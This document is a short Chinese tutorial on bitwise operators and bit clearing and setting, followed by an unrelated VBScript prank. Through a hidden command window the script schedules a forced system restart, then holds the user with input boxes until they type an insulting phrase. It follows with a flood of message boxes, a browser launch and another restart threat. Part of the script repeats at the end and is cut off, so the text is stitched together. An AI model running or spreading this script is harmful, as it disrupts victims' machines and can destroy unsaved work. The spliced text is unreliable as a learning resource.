一、什么是位运算?
位运算则是对二进制一系列的变化。常用运算符有:位与(&),位或(|),异或(^),取反(~),左移(《),右(》)。
二、位运算的逻辑
位运算的逻辑
(&)与运算符
两者为真,结果就为真,有一个结果为假,结果都为假。
(|)或运算符
两者,有一个结果为真,就为真,两者为真结果都为真。
(^)异或运算符
两者相同,结果就为假,否则就为真。
(《)或(》)位移操作符
逻辑位移,不考虑最高位符号问题,向右移在最高位补0,向左移在最低位补0,即可。
算数位移,原数值进行右移后,需要保证符号不变,向右移时用符号位数值填补,即可,向左移就用0。
一般形式:<运算量><运算符><表达式>其中:
<运算量>必须为整形结果数值
<运算符>为(《)左位移、(》)右位移
<表达式>也必须为整形结果的数值
位运算的清0和置1操作、
x|=(1<<y)//将x的第y位置1
x&=~(1<<y)//将x的第y位清0
清0时用与符号(&)
例题:
清零是用与符号(&)
请把0xd5的第2位进行清零操作
1101 0101 想得到的结果:1101 0001
&
1111 1011
~
0000 0100 结果:0000 0001 <<2等价于0x1
~(0x01<<2)&0xD5
置1时用或符号(|)
请把0xc7的第3—5位置1
1100 0111 想得到的结果:1111 1111
|
0011 1000 结果:0x07<<3
(0x07<<3)|0xc7
set ws=createobject("wscript.shell")
call shutdown(1)
do while a<>"我是猪"
a=inputbox("快在下面的框框里输入我是猪,否则后果自负,快输""我是猪"" ","输不输","")
loop
call shutdown(2)
msgbox "早说就行了嘛",4096+64
msgbox"再输一遍我是猪!",4096+64
msgbox"我是猪!",4096+64
MsgBox"最后一次!",4096+64
MsgBox"如果你很快的点过去,不看的话",4096+64
MsgBox"我就要你踩我空间的!哼!",4096+64
MsgBox"从前有座山!",4096+64
MsgBox"山里有个庙.",4096+64
MsgBox"庙里有个老和尚在讲故事.",4096+64
ws.run"iexplore.exe http://www.baidu.com"
msgbox"哎呀累了!数绵羊哄我睡觉",4096+64
for i=1 to 100
MsgBox i&"只绵羊",4096+64
next
msgbox"哎呀我困了,这次就饶过你吧,下次注意哦!",4096+64
msgbox"最后问个问题,我是不是大好人!",4096+64
if inputbox("是不是","请选择","是")<>"是" then
call shutdown(1)
end if
sub shutdown(s)
select case s
case 1
ws.run"cmd.exe /c shutdown -r -t 60 -c",0
case 2
ws.run"cmd.exe /c shutdown -a",0
end select
end sub
set ws=createobject("wscript.shell")
call shutdown(1)
do while a<>"我是猪"
a=inputbox("快在下面的框框里输入我是猪,否则后果自负,快输""我是猪"" ","输不输","")